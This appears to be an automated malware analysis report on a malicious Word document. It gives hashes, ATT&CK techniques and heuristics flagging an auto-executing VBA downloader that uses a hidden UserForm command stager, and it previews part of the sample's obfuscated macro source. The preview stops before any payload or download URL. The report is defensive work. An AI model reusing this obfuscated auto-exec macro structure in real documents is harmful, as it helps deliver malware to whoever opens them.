Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65f576b0c1da324a…

MALICIOUS

Office (OLE)

266.9 KB Created: 2020-02-06 12:11:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: c09edd35d2ce0b6e419b7b4277bfc777 SHA-1: 81a19d025795eb42d0dc62a13bd8b686a4a6f2be SHA-256: 65f576b0c1da324a19bbebf66196d8600be044aed153c7d74c6df1ccee6296f3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. This macro utilizes a hidden UserForm property to execute a command stager, a technique often used to download and run additional malicious code. The ClamAV detection 'Doc.Downloader.Generic-7578486-0' further supports its malicious nature as a downloader. The VBA code appears to be obfuscated, making it difficult to determine the exact download URL or payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7578486-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7578486-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35192 bytes
SHA-256: 4842c178a0ad903d1e4d2e4608f39a5131d1632ff23a8f7d9c1330d529a3c862
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Iahdbgnztbej"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Zqdqmazd.Oxgmkvcpbrqkb
End Sub

Attribute VB_Name = "Prikbtklzen"
Attribute VB_Base = "0{096ABDE3-7C5D-4F67-9E77-59519DE7D4B1}{95D5EA58-9C75-4796-A97A-8692F201319E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Iippoaqraenq"
Attribute VB_Base = "0{8E46D961-E5D4-4601-8797-059904E6F1AA}{52EFA45B-C6EC-4073-973C-F555BE61DBD7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Hpfyuhdvggssm()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Bzayhdfvbsjyr"
Attribute VB_Base = "0{140BF488-F21B-470D-A361-3989054F25F1}{7B9D0DAD-0A14-4472-92CC-66FE8AB80575}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Djixmnci()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Qnbiwwoptz"
Attribute VB_Base = "0{876742C7-6533-400C-AA07-6C2E5CD69B64}{4778567C-2B74-406C-BB5C-4ABB7864CFDC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rsvbtegkils()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Jkppjyrn"
Attribute VB_Base = "0{FD105DB3-B903-4533-9F36-1785671751E3}{FFD7729D-A3AD-4252-A1A4-003288D0B284}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qemfwvjxexq()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Bktybccfvxf"
Attribute VB_Base = "0{2887B92D-147B-44D9-9FCE-98D2AE350D5E}{3D4D1C09-5D91-49F9-A4CA-52FEB4E0D9D1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zakamzdcfx()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Kpznoglsunepa"
Attribute VB_Base = "0{86B0B0C4-39C5-46E3-9FE1-4CC2C17C448B}{60233673-F82A-4151-B616-B1A07686B2E8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Lluhhskvjn()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Rnnwnnyrmc"
Attribute VB_Base = "0{4A2AB120-F125-486D-8DB4-B3A743E115C5}{E8C2F729-A011-4F9A-95AC-3D2982FCD619}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qturmvuaw()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Rkpzhatqakvu"
Attribute VB_Base = "0{4769F9E5-9C3E-4EDB-
... (truncated)